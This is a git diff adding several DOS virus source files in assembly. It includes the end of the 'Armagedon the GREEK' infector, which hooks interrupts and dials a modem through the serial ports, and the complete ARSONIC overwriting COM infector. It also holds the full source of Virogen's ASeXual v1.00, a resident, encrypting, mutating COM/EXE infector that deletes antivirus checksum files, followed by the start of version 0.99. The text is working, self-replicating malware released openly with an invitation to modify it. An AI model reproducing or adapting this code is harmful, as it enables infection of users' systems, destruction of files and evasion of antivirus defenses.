+ mov ah,48h + int 21h + mov cs:seg_buffer,ax + + mov ax,cs + mov ds,ax + mov dx,dta + mov ah,1ah + int 21h + + pop dx + pop ds + mov ax,3d02h ; DosFn OPEN FILE (R/W) + clc ; Clear carry flag + int 21h ; Do open + jc closeit1 ; If Error exit + mov bx,ax ; Handle to BX + mov cs:handle,ax ; save handle + mov cx,0ffffh ; Bytes to read + mov ax,cs:seg_buffer ; + mov ds,ax ; + mov dx,virlen ; DS:DX points to buffer + mov ah,3fh ; DosFn READ FROM FILE + clc ; clear carry flag + int 21h ; Do the call + jc closeit1 ; if error exit + mov cs:filesize,ax ; Num of bytes actually read + ;cmp ax,0e000h ; max com size to infect + ;ja closeit1 ; if size>max exit + cmp ax,virlen ; if filesize is less than the + jb virit ; virus size then it is clean + mov si,virlen+1 ; Set 1st ptr to START of file + add si,si ; add 1st ptr the length of file + sub si,21 ; and subtract 12 to point to sig. + mov cx,19 ; set the test loop to 10 bytes + mov di,offset signature ; Set 2nd ptr to constant signature +test_sig: mov al,ds:[si] ; take the byte pointed to by SI + mov ah,cs:[di] ; and compare it with the byte + cmp ah,al ; pointed to by DI + jne virit ; if not equal then it is clean! + inc si ; else increase 1st pointer + inc di ; increase 2nd pointer + loop test_sig ; continue with next if CX>0 + jmp closeit + +virit: mov ax,4200h ; Code for LSEEK (Start) + mov bx,cs:handle ; Handle num in BX + xor cx,cx ; Reset CX + mov dx,cx ; and DX + int 21h ; Do the call + jc closeit + + mov si,offset start + mov cx,virlen + xor di,di + mov ax,cs:seg_buffer + mov ds,ax +virusin: mov al,cs:[si] + mov ds:[di],al + inc si + inc di + loop virusin + + mov ax,5700h + mov bx,cs:handle + int 21h + mov cs:filetime,cx + mov cs:filedate,dx + + mov ax,cs:seg_buffer + mov ds,ax + + mov si,virlen + mov al,ds:[si] + add al,11 + mov ds:[si],al + + xor dx,dx ; DX points to Buffer (file) + mov cx,cs:filesize ; Size of file in CX + add cx,virlen ; But added by Virlen + mov bx,cs:handle ; File handle num in BX + mov ah,40h ; Code for WRITE FILE + int 21h ; Do the call + + mov cx,cs:filetime + mov dx,cs:filedate + mov bx,cs:handle + mov ax,5701h + int 21h + +closeit: mov bx,cs:handle ; Handle in BX + mov ah,3eh ; Code for CLOSE FILE + int 21h ; Do close it + push cs + pop ds +resdta: mov dx,80h ; Reset the DTA + mov ah,1ah ; in Address 80H + int 21h ; Do call + mov ax,cs:seg_buffer + mov es,ax + mov ah,49h + int 21h + + mov ax,cs:fileds ; + mov ds,ax ; + mov dx,cs:filedx ; + mov ax,4301h ; + mov cx,cs:attr ; + int 21h ; + jmp invdrive ; and exit +nomatch: + pop ds + pop dx + jmp notinfect + +invdrive: +notinfect: + pop di ; restore registers + pop es ; to their initial + pop bp ; values + pop dx ; + pop ax ; + pop cx ; + pop si ; + pop bx ; + pop ds ; + jmp do_oldint ; return from call +infector endp + +newint8 proc far ; VIRUS' TIMER ISR + push bp ; + push ds ; store all registers + push es ; and flags before + push ax ; the new timer + push bx ; operations. + push cx ; Otherwize a 'crush' + push dx ; is unavoidable + push si ; + push di ; + pushf ; Simulate an INT + call dword ptr cs:oldint8a ; Do old timer stuff + call tick ; update virus clock routine + push cs + pop ds + mov ah,5 ; Check if time + mov ch,cur_h ; is now above the + cmp ah,ch ; lower limit (5 o'clock) + ja exitpoint ; if not, exit + mov ah,6 ; Check if time + cmp ah,ch ; is now below the higher limit + jb exitpoint ; if not, exit + mov ah,status ; get the virus status + cmp ah,1 ; test if call in progress + jz in_progress ; if yes goto countdown routine + mov ah,1 ; if not, set the status to + mov status,ah ; indicate 'In progress' + jmp exitpoint ; and exit +in_progress: ; CALL IS IN PROGRESS! + call dial ; else call dial routine + inc count ; CALL_TIMER + mov ax,count + cmp ax,540 ; check for time-out + jne exitpoint ; if not, exit else + xor ax,ax ; set status to indicate + mov status,ah ; 'ready to call'! + mov count,ax ; reset call_timer + mov call_made,ah +exitpoint: + pop di ; restore registers to + pop si ; their values and + pop dx ; + pop cx ; + pop bx ; + pop ax ; + pop es ; + pop ds ; + pop bp ; + iret ; return to program +newint8 endp + +tick proc near ; VIRUS' CLOCK ROUTINE + assume cs:code,ds:code + push cs + pop ds + xor al,al + mov ah,ticks ; test if ticks have + cmp ah,17 ; reached limit (17) + jnz incticks ; if no, incerase ticks + mov ah,cur_s ; test if seconds have + cmp ah,59 ; reached limit (59) + jnz incsec ; if no, increase seconds + mov ah,cur_m ; test if minutes have + cmp ah,59 ; reached limit (59) + jnz incmin ; if no, increase minutes + mov ah,cur_h ; test if hours have + cmp ah,23 ; reached limit (23) + jnz inchour ; if no, increase hours + mov cur_h,al ; else reset hours +exitp3: mov cur_m,al ; reset minutes +exitp2: mov cur_s,al ; reset seconds +exitp1: mov ticks,al ; reset ticks + ret ; end exit +incticks: inc ticks ; increase ticks + ret ; and exit +incsec: inc cur_s ; increase seconds + jmp exitp1 ; and exit +incmin: inc cur_m ; increase minutes + jmp exitp2 ; and exit +inchour: inc cur_h ; increase hours + jmp exitp3 ; end exit +tick endp + +startstr: +string db '+++aTh0m0s7=35dp081,,,,141' +endstr: + +dial proc near + assume cs:code,ds:code + + mov al,call_made + cmp al,1 + jz exit_dial + mov al,init_done + cmp al,1 + jz send_one + + mov cx,3 +next_init: mov dx,cx + xor ah,ah + mov al,131 + int 14h + loop next_init + mov al,1 + mov init_done,al + jmp exit_dial + +send_one: push cs + pop ds + mov si,offset string + mov al,stringpos + cmp al,strlen + jnz do_send + jmp sendret + +do_send: xor ah,ah + add si,ax +next_char: mov al,[si] + mov dx,3f8h + out dx,al + mov dx,2f8h + out dx,al + mov dx,2e8h + out dx,al + mov dx,3e8h + out dx,al + inc stringpos + jmp exit_dial + +sendret: mov cx,3 +retloop: mov dx,cx + mov al,13 + mov ah,1 + int 14h + loop retloop + +reset: mov ax,0001h + mov call_made,al + mov stringpos,ah + mov init_done,ah +exit_dial: ret +dial endp + +main: ; VIRUS' MEMORY INSTALLER + assume cs:code,ds:code ; + mov ah,0e0h ; is VIRUS already + int 21h ; in memory? + cmp ax,0dadah ; if yes then + jnz cont ; terminate, else + jmp already_in +cont: push cs + pop ds + mov ax,3521h ; capture the old + int 21h ; INT 21h vector and + mov oldint21a,bx ; store the absolute address + mov oldint21b,es ; in 'oldint21x' variables + mov dx,offset newint21 ; point to new INT 21h ISR + mov ax,2521h ; replace it to vector + int 21h ; + mov ax,3508h ; capture the old + int 21h ; timer vector and + mov oldint8a,bx ; store the address + mov oldint8b,es ; in 'oldint8x' var + mov dx,offset newint8 ; point to new timer ISR + mov ax,2508h ; replace it to vector + int 21h ; + mov ah,2ch ; get the current + int 21h ; time from DOS + mov cur_h,ch ; and store it + mov cur_m,cl ; for the + mov cur_s,dh ; virus' timer + ; RUN PROGRAM! + mov ax,cs:[2ch] + mov ds,ax + xor si,si +loop1: mov al,ds:[si] + cmp al,1 + jz exitl1 + inc si + jmp loop1 +exitl1: inc si + inc si + mov dx,si + + mov ax,cs + mov es,ax ; SHRINK BLOCK + mov bx,90 + mov ah,4ah + int 21h + + mov bx,cs:[81h] + mov ax,cs + mov es,ax + mov cs:fcb1_seg,ax + mov cs:fcb2_seg,ax + mov cs:cdline_seg,ax + mov ax,4b00h + ; + ; + ; + mov cs:ss_reg,ss + mov cs:sp_reg,sp + pushf + call dword ptr cs:oldint21a + mov ax,cs:ss_reg + mov ss,ax + mov ax,cs:sp_reg + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,offset last_byte + int 27h + +already_in: mov ah,0e1h + int 21h + mov si,offset pokelabl + mov cs:[si+3],ax + mov ax,offset fix_com + mov cs:[si+1],ax + mov ax,cs:filesize + mov bx,cs +pokelabl: db 0eah,00h,00h,00h,00h + +fix_com: mov cx,ax + mov ds,bx + mov si,100h + mov di,100h+virlen +dofix: mov al,ds:[di] + mov ds:[si],al + inc si + inc di + loop dofix + mov si,offset poklb + mov cs:[si+3],ds + mov al,ds:[100h] + sub al,11 + mov ds:[100h],al + mov ax,ds + mov es,ax + mov ss,ax +poklb: db 0eah,00h,01h,00h,00h + +signature: db 'Armagedon the GREEK' +last_byte: db 90h+11 + nop + nop + nop + mov ah,4ch + int 21h +code ends + end start + \ No newline at end of file diff --git a/a/ARSONIC.ASM b/a/ARSONIC.ASM new file mode 100755 index 0000000..f182ebe --- /dev/null +++ b/a/ARSONIC.ASM @@ -0,0 +1,70 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic + +len equ offset last-100h + +start: mov si,0100h + push si + mov ax,cs + add ah,10h + mov es,ax + xor di,di + mov cx,len + rep movsb + mov dx,0FE00h + mov ah,1Ah + int 21h + mov dx,offset file + mov ah,4Eh + jmp short find +retry: mov ah,3Eh + int 21h + mov ah,4Fh +find: push cs + pop ds + int 21h + mov cx,0FE1Eh + jc nofile + mov dx,cx + mov ax,3D02h + int 21h + xchg ax,bx + push es + pop ds + mov dx,di + mov ah,3Fh + int 21h + add ax,len + cmp byte ptr [di], 0BEh + je retry + push ax + xor cx,cx + mov ax,4200h + cwd + int 21h + pop cx + mov ah,40h + int 21h + jmp short retry + +nofile: push cs + pop es + mov bl,0FCh + mov [bx],0AAACh + mov [bx+2],0FCE2h + pop di + push bx + ret + +file db '*.COM',0 +last db 0C3h + +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/a/ASEXUAL.ASM b/a/ASEXUAL.ASM new file mode 100755 index 0000000..f73e7f2 --- /dev/null +++ b/a/ASEXUAL.ASM @@ -0,0 +1,789 @@ +; +; ************************************************ +; ASeXuAl v1.00 - BY VIROGEN - 10-29-93 +; ************************************************ +; - Compatible with : TASM /m +; +; ASeXual v1.00 +; +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; Because of my ignorance I released the last version of ASeXual with +; a MAJOR bug.. you would expierence very frequent system lockups not +; to mention that infections of files in the root directory screwed them +; all future generations. +; +; new in this version: +; - Lockup bugs fixed! +; - root directory infections fixed! (no longer infects spawning in root) +; - spawning infections now return the correct return code from the EXE +; - cosmetic changes +; - no more error handler +; +; characteristics: +; This virus is a memory resident parastic COM infector and spawning +; EXE infector. It is mutative.. with only 2 bytes remain constant +; in replicated copies, but none in constant relative locations to the start +; of viral code or to each other. It infects up to 5 files in the +; current directory which a program is executed or a new drive is selected. +; It first searches out EXE hosts, and if there are none to be infected, +; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files +; in the current directory are killed before any file is infected. This +; virus is also kept encrypted in memory to prevent easy detection of it +; there too. It's code is stored just below the 640k boundary. There +; will be a decrease of about 5k of total system memory when this virus is +; resident. +; +; activation: +; This is a non-malicious virus and it's activation is simple.. On any +; thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS, +; and SCROLL LOCK) constantly while it is memory resident. It does not +; infect files on thursdays. +; +; +; As always I'm releasing the full source code to this virus.. which means +; you are free to make modifications to it. Just give credit where credit +; is due and have phun.. +; + +segment cseg + assume cs: cseg, ds: cseg,es: cseg + +signal equ 6bh ; Installation check +reply equ 0fah ; reply to check + +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection +heap_size equ 50h ; max heap size + org 100h ; Leave room for PSP + +start: +; +; Encryption/Decryption routine location +; +fill_space : +shit_space db 6 dup(0) ; help to keep TBAV warnings down +address_fill: jmp non_res ; only in original compilation + db 17 dup(0) ; MOV DI|SI placed here +encrypt: ; For call from memory +cx_fill db 20 dup(0) ; MOV CX,XXXX placed here +xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here +loop_fill db 10 dup(0) ; LOOP Placed Here +enc_data: +ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP + +jmp non_res ; jump to nonresident code + +; +; INT 21h - DOS function calls +; + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no ; nope.. + mov ah,reply ; yep, give our offspring what he wants + iret + no: + pushf ; Push flags + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + cmp ah,0eh ; select disk? + je infect_call ; yes.. let's infect + cmp ax,4b00h ; exec? + jne exit_21 ; nope.. don't infect shit + cmp ch,0fbh ; Is our virus executing this prog? + jne infect_call ; yes, return to orginal INT 21h + + exit_21: + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +infect_call: + mov ah,2ah ; get date + int 21h + cmp al,4 ; thursday? + je chg_keyb + mov ah,2fh ; Get DTA Address + int 21h ; + push cs + pop ds + push cs + pop es + mov word ptr old_dta,bx ; Save old dta offset + mov word ptr old_dta+2,es ; /segment + + call encrypt_mem ; decrypt virus in memory + call resident ; Call infection kernal + call encrypt_mem ; encrypt virus in memory + + lds dx,dword ptr old_dta ; restore DTA segment/offset + mov ah,1ah ; + int 21h ; + jmp exit_21 + +chg_keyb: + xor ax,ax + mov es,ax + mov dx,es: [416h] ; 0040:0016h - keyboard flags + ror dx,1 ; rotate bits + mov es: [416h],dx ; store new flags + jmp exit_21 + +new21 endp ; End of handler +; +; Encrypt/Decrypt - For memory encryption +; +encrypt_mem proc + lea di,memory_encrypted + mov cx,(offset vend-offset memory_encrypted)/2 + mem_xor_loop: + db 81h,35h ; XOR word ptr [DI], + xor_mem dw 0 ; XXXX : 0-5999 + inc di ; increment pointer + inc di ; increment pointer + loop mem_xor_loop ; loop.. + ret ; return +encrypt_mem endp +memory_encrypted: ; start encryption in memory here.. + +; +; file pointer set +;- + offset_zero: + xor al,al + jmp set_fp + offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret +; +; Clear ff/fn buf +; +clear_buf: + mov word ptr fcb,0 ; Clear ff/fn buffer + lea si, fcb + lea di, fcb+2 + mov cx, 22 + rep movsw + ret +; +; Findfirst +; +ff_func: + + call clear_buf ; Clear FCB + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, fname_off + int 21h + + ret +; +; Findnext +; +fn_func: + + mov ah,4fh ; find next file + int 21h ; + + ret + +; +; Fills encryption/decryption routine +; +; call with AX=word to fill with +; +clear_encryptor: + mov cx,78 ; 156 bytes + lea di,fill_space ; beginning of null space + fill_loop: + stosw + loop fill_loop ; + + ret +; +; Resident - Main infection kernal +; +resident proc + + ; Set DTA address - This is for the + mov ah, 1ah ; findfirst/findnext functions + lea dx, fcb + int 21h + + mov byte ptr vtype,spawn ; infection type = spawning + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset spec ; Set search for CHKLIST.* + mov word ptr mov_di,offset enc_data ; offset past encrypt. + + cont_res: +; +; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files +; + mov cx,2 ; keep track of which we've killed + kill_another_spec: + push cx + + call ff_func ; find first + + jc done_kill ; none found.. done + kill_loop: + mov ax,4301h ; Set file attributes to null + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + mov ah,3ch ; create file = nullify size + xor cx,cx ; + lea dx,f_name ; + int 21h ; + push ax ; get handle + pop bx ; + + mov ah,3eh ; close file + int 21h ; + + mov ah,41h ; delete the file to finish 'er off + lea dx,f_name ; + int 21h ; + call fn_func + jnc kill_loop ; if more then kill 'em + + done_kill: + pop cx ; restore spec counter + mov fname_off,offset spec2 ; new file spec to kill + dec cx + jz kill_another_spec ; have we already killed both? + +; +; start finding files to infect +; + + + mov fname_off,offset fname1 + find_first: + call ff_func ; findfirst + + jnc next_loop ; if still finding files then loop + jmp exit ; if not.. then end this infection + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + cmp word ptr f_sizel,0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp no_infect + + ok_find: + + mov ah,47h ; get directory for + xor dl,dl ; ..spawning infections + lea si,file_dir ; + int 21h ; + + cmp byte ptr file_dir,0 + jne not_root + jmp no_infect + not_root: + xor bx,bx ; + lm3 : ; find end of directory name + inc bx ; + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,f_name + lea di,file_dir[bx] + rep movsb + + xor bx,bx + loop_me: ; search for filename ext. + inc bx + cmp byte ptr fcb+1eh [bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr fcb+1eh [bx],'OC' + mov byte ptr fcb+1eh [bx+2],'M' + start_inf: +; +; Change jump & fill space register +; + + cmp byte ptr new_code, 0bfh + jne inc_both + mov nop_sub, 3fh + mov byte ptr new_code, 0b7h + mov byte ptr push_reg, 4fh +inc_both: + inc nop_sub ; increment register + inc byte ptr new_code ; increment register + inc byte ptr push_reg ; increment register + + cmp nop_sub, 044h ; don't use SP + je inc_both +done_change_jmp: + + cmp byte ptr vtype, spawn ; spawning infection? + jne parastic_inf + +; +; Spawning infection +; + spawning: + mov word ptr new_code+1,offset fill_space + + lea dx,f_name + mov cx, 00000011b ; read-only & hidden + mov ah, 3ch ; Create file + int 21h ; Call INT 21H + jc p_no_infect ; If Error-probably already infected + inc inf_count + mov bx,ax + + jmp encrypt_ops +; +; Parastic infection +; + p_no_infect : jmp no_infect + p_close : jmp close + parastic_inf : + + lea si,f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + repe cmpsb + + je p_no_infect ; Yes, don't infect + + mov ax,3d02h ; Open file for reading & writing + lea dx,f_name ; Filename in FF/FN buffer + int 21h + + jc p_no_infect ; error, skip infection + + mov bx,ax ; get handle + + mov ah,3fh ; Read first bytes of file + mov cx,07 + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes+4,0c3h ; already infected? + je p_close ; yep..don't infect it + + cont_inf: + inc inf_count + call offset_end + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data + mov word ptr mov_di,ax ; chg mov di,xxxx + + call offset_zero + mov ax,word ptr f_sizeh ; save new address for parastic + add ax,offset fill_space ; + mov word ptr new_code+1,ax ; + + mov ah,40h ; write new first 7 bytes + mov cx,7 ; .. jumps to virus code + lea dx,new_code ; + int 21h ; + + call offset_end + +; +; Change encryptions ops +; +encrypt_ops: + push bx ; save file handle + + cmp pad_bytes,100h ; no more increase in file size? + je reset_pad ; if yes, reset + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr ; make note of the increase + jmp pad_ok ; don't reset pad + reset_pad: + mov word ptr pad_bytes,0 ; reset pad size + sub word ptr b_wr,100h ; make note of decrease + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 ; jmp-change ops to SI + dec inc_op ; .. change code to use DI + dec byte ptr xor_op+1 ; + dec di_op ; + dec byte ptr enc_addr ; + dec byte ptr enc_add+1 ; + jmp chg_three ; + set2: + inc inc_op ; increment code to use SI + inc byte ptr xor_op+1 ; + inc di_op ; + inc byte ptr enc_addr ; + inc byte ptr enc_add+1 ; + + chg_three: + mov dh,byte ptr nop_sub ; which byte did we use to fill space? + cmp dh,48h ; if INC AX then we need to reset it + jne _change ; else decrement it + mov dh,40h ; reset to DEC AX + _change: + cmp dh,41h ; Don't use INC CX.. + jne no_conflict ; + mov dh,48h ; Change it to DEC AX instead + no_conflict: + cmp dh,47h ; Don't use INC DI + jne no_conflict2 ; + mov dh,4bh ; Use DEC BX Instead + no_conflict2: + cmp dh,46h ; Don't use INC SI + jne no_conflict3 + mov dh,0fbh ; Use STI instead + no_conflict3: + mov dl,dh ; mov into word reg dx + push dx + pop ax + call clear_encryptor ; fill encryption routine with op + + mov ah,inc_op ; get register to increment + mov bx,change_num ; get current rotate count + cmp bh,0 ; are we at the end of the INCs? + jne no_reset_change ; nope.. continue + mov bh,99 ; reset INC #1 position + xor bl,bl ; reset INC #2 position + no_reset_change: + inc bl ; Increment INC #2 position + dec bh ; Decrement INC #1 position + mov cl,bl ; store position in CL to add + xor ch,ch ; high byte = 0 + lea si,xor_inc_space ; + push si ; save address + push si ; save it twice + add si,cx ; add INC #2 position to SI + mov byte ptr [si],ah ; move INC #2 into address + pop si ; restore address of fill_space + mov cl,bh ; store position in CL to add + xor ch,ch ; high byte = 0 + add si,cx ; add INC #1 position to SI + mov byte ptr [si],ah ; move INC #1 into address + mov change_num,bx ; store updated rotation number + + pop si ; get xor_inc_space address + mov ax,xor_pos ; get old position of XOR + cmp ax,95 ; is it at the end of the buffer? + jne xor_ok ; nope.. increment its position + mov ax,10 ; reset position to buffer+10 + xor_ok: + inc ax ; increment position pointer + add si,ax ; build pointer + mov dx,word ptr xor_op ; get XOR op + mov byte ptr [si],02eh + mov [si+1],dx ; place it into position + mov xor_pos,ax ; save new XOR location + + mov ax,addr_pos ; get old position of MOV DI|SI + cmp ax,17 ; at end of buffer? + jne addr_inc ; nope.. go increment + xor ax,ax ; yes.. reset to null + addr_inc: + inc ax ; increment pointer + lea di,address_fill ; get buffer address + add di,ax ; build pointer + lea si,di_op ; get address of op + mov cx,3 ; 3 bytes + rep movsb ; copy op to location in buffer + mov addr_pos,ax ; save new MOV DI|SI position + + mov ax,cx_pos ; get old position of MOV CX + cmp ax,0 ; back to beginning of buffer? + jne cx_dec ; nope.. decrement location + mov ax,17 ; reset to last position in buffer + cx_dec: + dec ax ; decrement pointer + lea di,cx_fill ; get address of buffer + add di,ax ; build pointer to new location + lea si,cx_op ; get address of MOV CX op + mov cx,3 ; 3 bytes length + rep movsb ; copy to new location + mov cx_pos,ax ; save new position of MOV CX + + mov ax,loop_pos ; get old position of LOOP + cmp ax,0 ; at beginning of buffer? + jne loop_inc ; nope decrement + mov ax,8 ; reset to end of buffer + loop_inc: + dec ax ; decrement pointer + lea di,loop_fill ; get address of buffer + add di,ax ; build pointer + mov dl,0e2h ; 0E2XX=LOOP XXXX + xor ch,ch ; high byte=null + mov cl,9ah ; calculate LOOP offset + sub cx,ax ; + mov dh,cl ; save new offset + mov [di],dx ; write LOOP op + mov loop_pos,ax ; save new position of LOOP + +; +; Get random XOR number, save it, copy virus, encrypt code +; + d2: + mov ah,2ch ; + int 21h ; Get random number from clock - sec/ms + lea si,xor_inc_space+3 ; build pointer to XOR location+2 + add si,xor_pos ; + mov word ptr [si],dx ; save encryption # + push dx + mov word ptr xor_mem,0000 + + mov si,0100h ; 100h=start of virus in memory + lea di,vend+heap_size ; destination + mov cx,offset vend-100h ; bytes to move + rep movsb ; copy virus outside of code + + pop dx + mov word ptr xor_mem,dx + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+heap_size ; offset of new copy of virus + mov byte ptr ret_byte,0c3h ; make encryption routine RET + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h ; Reset it to no RETurn +; +; Write and close new infected file +; + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+heap_size ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr f_time ; time from FCB + mov dx,word ptr f_date ; date from FCB + int 21h + + close: + mov ah, 3eh ; close file + int 21h + + no_infect: + find_file: + + cmp inf_count, max_inf ; Max files found? + je exit ; yes, end infection + call fn_func + jc exit ; if no files found.. quit + jmp next_loop ; infect the next file + + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done ; nope.. we're done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done ; yep, exit already + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first ; do it again for parastic + + find_done: + + xor ax,ax ; fill encryption routine with 0 + call clear_encryptor ; .. maybe help lessen IDed in memory? + + ret ; return + +resident endp + +; +; Non-resident active code +; +non_res proc + + db 0bdh ; MOV BP,xxxx - Load delta offset +set_bp: dw 0000 + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for spawn + mov par2[bp],cs + mov par_seg[bp],cs + +; +; INSTALL - Install the virus in memory +; + mov ah,signal ; is virus already in mem? + int 21h + cmp ah,reply + je no_install ; yes.. don't install again + cont_i: + + mov ax,cs ; PSP segment + dec ax ; mcb=psp-1 + mov ds,ax ; DS=MCB + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in chain? + jne no_install + + sub word ptr ds: [3],(((vend-start+1023+heap_size)*2)/1024)*64 ; shrink block + sub word ptr ds: [12h],(((vend-start+1023+heap_size)*2)/1024)*64 + mov es,word ptr ds: [12h] ; get high mem seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start)/2+1 + push cs + pop ds + mov di,100h ; New location in high memory + rep movsw ; Copy virus to high memory + + xor ax,ax + mov ds,ax ; null es + push ds + lds ax,ds: [21h*4] ; get old int 21h seg:off + mov es: old21_seg,ds ; save 'em + mov es: old21_ofs,ax + pop ds + + + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + sub byte ptr ds: [413h],((offset vend-offset start+1023+heap_size)*2)/1024 + + no_install: + push cs ; Restore segment regs + pop ds + push cs + pop es + + cmp byte ptr vtype[bp],parastic ; parastic infection? + je com_return ; yes, return to start of COM + + mov bx,(offset vend+100) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0fbh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4dh ; get return code + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp ; + mov cx,7 ; Restore original first + add si,offset org_bytes ; seven bytes of COM file + mov di,0100h ; + rep movsb ; + + mov ax,0100h ; Jump back to 100h - start of + push ax ; original program + ret ; + +non_res endp + +vtype db spawn ; Infection type +com_name db 'COMMAND.COM' ; obvious +org_bytes db 7 dup(0) ; original first seven bytes of parastic inf. +pad_bytes dw 0 ; Increase in virus size +inc_op db 47h ; INC DI (47h) or INC SI (46h) +nop_sub db 40h ; fill byte +copyr db ' (c)1993 - Virogen ' ; my name +v_id db ' ASeXual Virus V1.00 ' +spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill +spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +change_num dw 1030 ; keep track of position of INC DI|SI +addr_pos dw 0 ; relative location of MOV DI|SI +cx_pos dw 17 ; relative location of MOV CX +xor_pos dw 10 ; relative location of XOR +loop_pos dw 0 ; relative location of LOOP +xor_op db 81h,35h ; XOR word ptr CS:[DI|SI],XXXX +di_op db 0bfh ; MOV DI|SI, +mov_di dw 0 ; XXXX +cx_op db 0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two +new_code db 0b9h ; MOV NN, + dw 0000 ; XXXX +push_reg db 51h ; PUSH NN + db 0c3h ; RET - jump to NN +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +vend: ; End of virus + +; +; heap - not written to disk +; +fname_off dw fname1 ; Offset of Filespec to use +old_dta dd 0 ; Old DTA Segment:Address +inf_count db 0 ; How many files we have infected this run +fcb db 21 dup(0) ; fcb + attrib db 0 ; file attribute + f_time dw 0 ; file time + f_date dw 0 ; file date + f_sizeh dw 0 ; file size + f_sizel dw 0 ; + f_name db 13 dup(0) ; file name +heap_end: + +cseg ends + end start diff --git a/a/ASEX_099.ASM b/a/ASEX_099.ASM new file mode 100755 index 0000000..8134a00 --- /dev/null +++ b/a/ASEX_099.ASM @@ -0,0 +1,862 @@ +; +; ************************************************ +; ASeXuAl v0.99 - BY VIROGEN - 10-12-93 +; ************************************************ +; - Compatible with : TASM /m2 +; +; This virus is actually the continuance of the Offspring line of virii.. +; BUT I decided to change the name because 98% of the virus code has +; changed since the released of the first Offspring virus, and I felt +; this release had substantial changes that finally merit a new name! +; +; ASeXual v0.99 +; +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; characteristics: +; This virus is a memory resident parastic COM infector and spawning +; EXE infector. It is mutative.. with only 2 bytes remain constant +; in replicated copies, but none in constant relative locations to the start +; of viral code or to each other. It infects up to 5 files in the +; current directory which a program is executed or a new drive is selected. +; It first searches out EXE hosts, and if there are none to be infected, +; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files +; in the current directory are killed before any file is infected. This +; virus is also kept encrypted in memory to prevent easy detection of it +; there too. It's code is stored just below the 640k boundary. +; +; activation: +; This is a non-malicious virus and it's activation is simple.. On the +; 2nd of any month, when an infected program is executed it displays : +; "ASeXual virus v0.99 - Your computer has been artificially Phucked!" +; .. while beeping and flashing the keyboard lights as well as attempting +; print screens. +; +; Do whatever you want with this virus.. but don't take my name off +; the code. .. oh yea.. and don't hold me responsible if you infect +; yourself, or someone else. It's not my problem. +; + title ASeXual v0.99 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +; +; equates +; + +signal equ 7fh ; Installation check +reply equ 0fah ; reply to check + +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 